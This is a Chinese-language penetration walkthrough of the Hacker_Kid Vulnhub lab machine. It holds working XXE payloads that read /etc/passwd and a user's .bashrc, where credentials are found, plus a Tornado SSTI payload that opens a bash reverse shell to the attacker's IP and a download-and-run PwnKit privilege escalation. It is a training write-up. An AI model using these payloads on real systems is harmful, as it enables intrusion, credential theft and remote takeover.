Hacker_Kid-v1.0.1靶机渗透过程
准备环境
攻击机:WSL-Kali-Linux
目标靶机:Hacker_Kid-v1.0.1
平台:VMware Workstation 16.2
靶机为NAT
模式
一、信息搜集
1.IP扫描
nmap 192.168.9.0/24
扫描出靶机IP为:192.168.9.145
2.端口扫描
nmap -A -p- 192.168.9.145
端口开放情况如下
端口号 | 服务 |
---|---|
53 | DNS解析服务 |
80 | HTTP |
9999 | abyss |
二、漏洞利用
1.漏洞挖掘
访问其http
服务
查看网页的源码
提示传page_no
参数
再Burp Suite
中对page_no
爆破
在payload
中设置
开始爆破,得到当page_no
为21
的时候,长度不同
访问http://192.168.9.145/?page_no=21
,网页下面会多出一段话
根据提示,存在hackers.blackhat.local
域名,将该域名添加至hosts
文件
vim /etc/hosts
# Vulnhub - Hacker_Kid
192.168.9.145 hackers.blackhat.local blackhat.local
对该域名进行子域爆破
dig hackers.blackhat.local @192.168.9.145
发现还存在hackerkid.blackhat.local
子域名
同样将该子域名加入到hosts
文件中
在浏览器中访问hackerkid.blackhat.local
随便填入内容提交,并抓包
推测存在xxe
实体注入
构造POC
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
存在saket
用户
通过php://filter
伪协议查看位于/home/saket/.bashrc
文件内容
POC:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>
将base64
解码之后,得到一个用户名和密码
username="admin"
password="Saket!#$%@!!"
访问9999
端口的服务,发现需要用户名和密码进行登录
当使用刚刚解码的用户名和密码进行登录时提示错误,于是尝试换用saket
作为用户名进行登录
推测GET
传name
参数
该网页使用Tornado
模板,测试SSTI
注入
当name
参数为{{5*5}}
时,回显为25
,表明存在SSTI
模板注入漏洞
构造POC
{% import os %}{undefined{os.system('bash -c "bash -i >& /dev/tcp/172.31.223.206/1234 0>&1"')}}
会报错,将POC
进行url
编码
%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.31.223.206%2F1234%200%3E%261%22%27%29%7D%7D
三、提权
使用CVE-2021-4034进行内核提权
将CVE
克隆到本地进行编译
git clone https://gitee.com/distancexx/CVE-2021-4034.git
在kali
中启用http
服务
python3 -m http.server 81
在靶机中将打包好的CVE
压缩包wget
下来
wget http://172.31.223.206:81/1.tar.gz ./
直接运行CVE
./cve-2021-4034